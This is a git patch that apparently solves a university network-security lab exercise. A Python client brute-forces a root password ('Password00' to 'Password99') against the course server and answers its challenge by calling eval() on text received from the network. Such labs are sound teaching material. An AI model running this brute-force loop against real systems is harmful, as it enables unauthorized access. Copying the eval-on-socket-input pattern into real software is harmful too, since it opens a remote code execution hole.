From fd8082a74018822ce893f846da50c5dc0f16446d Mon Sep 17 00:00:00 2001 From: Dongho Kim Date: Sat, 9 Nov 2024 22:50:29 +0900 Subject: [PATCH] solved --- week02/hard/client.py | 71 +++---------------------------------------- 1 file changed, 5 insertions(+), 66 deletions(-) diff --git a/week02/hard/client.py b/week02/hard/client.py index d86209e..c0c6d28 100644 --- a/week02/hard/client.py +++ b/week02/hard/client.py @@ -4,27 +4,10 @@ import time HOST = 'netsec.net.in.tum.de' # TODO PORT = 64984 # TODO - - -def get_flag2(): - credentials = "root,Passwordr00" - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.connect((HOST, PORT)) - sf = s.makefile('rw') # we use a file abstraction for the sockets - print(sf.readline().rstrip('\n')) - sf.write("{}\n".format(credentials)) - sf.flush() - data = sf.readline().rstrip('\n') - resp = eval(data) - sf.write("{}\n".format(resp)) - sf.flush() - print(sf.readline().rstrip('\n')) - print(sf.readline().rstrip('\n')) - def get_flag(): for i in range(100): time.sleep(2) - credentials = "root,Passwordr"+str("%02d" % i) + credentials = "root,Password"+str("%02d" % i) print(credentials) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) @@ -37,57 +20,13 @@ def get_flag(): resp = eval(data) sf.write("{}\n".format(resp)) sf.flush() - print(sf.readline().rstrip('\n')) - print(sf.readline().rstrip('\n')) + result = sf.readline().rstrip('\n') + if "login" in result: + print(sf.readline().rstrip('\n')) + break except: pass - -# def ans(): -# for i in range(100): -# credentials = 'root'+','+'Password'+str("%02d" % i) -# print(credentials) -# try: -# s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - -# s.connect((HOST, PORT)) -# sf = s.makefile("rw") # we use a file abstraction for the sockets - -# sf.write("{}\n".format(credentials)) -# sf.flush() - -# challenge = sf.readline().rstrip('\n') - -# print("Solve the following equation to prove you are human: ", challenge) - -# inToPosEx = infix_to_postfix(challenge) -# value = postfixEval(inToPosEx) - -# print('VALUE = ',value) -# sf.write("{}\n".format(str(value))) -# sf.flush() - -# data = sf.readline().rstrip('\n') -# print("From Server: `{}'".format(data)) - -# data = sf.readline().rstrip('\n') -# print("From Server: received {} bytes".format(len(data))) - -# data = b64decode(data.encode()) - -# pdf_hdr = b'%PDF-1.5' - -# if len(data) >= len(pdf_hdr) and data[:len(pdf_hdr)] == pdf_hdr: -# print("Looks like we got a PDF!") -# # TODO write the received data to a file -# f = open('a.pdf','wb') -# f.write(data) -# f.close() -# sf.close() -# s.close() -# except: - pass - if __name__ == '__main__': get_flag() \ No newline at end of file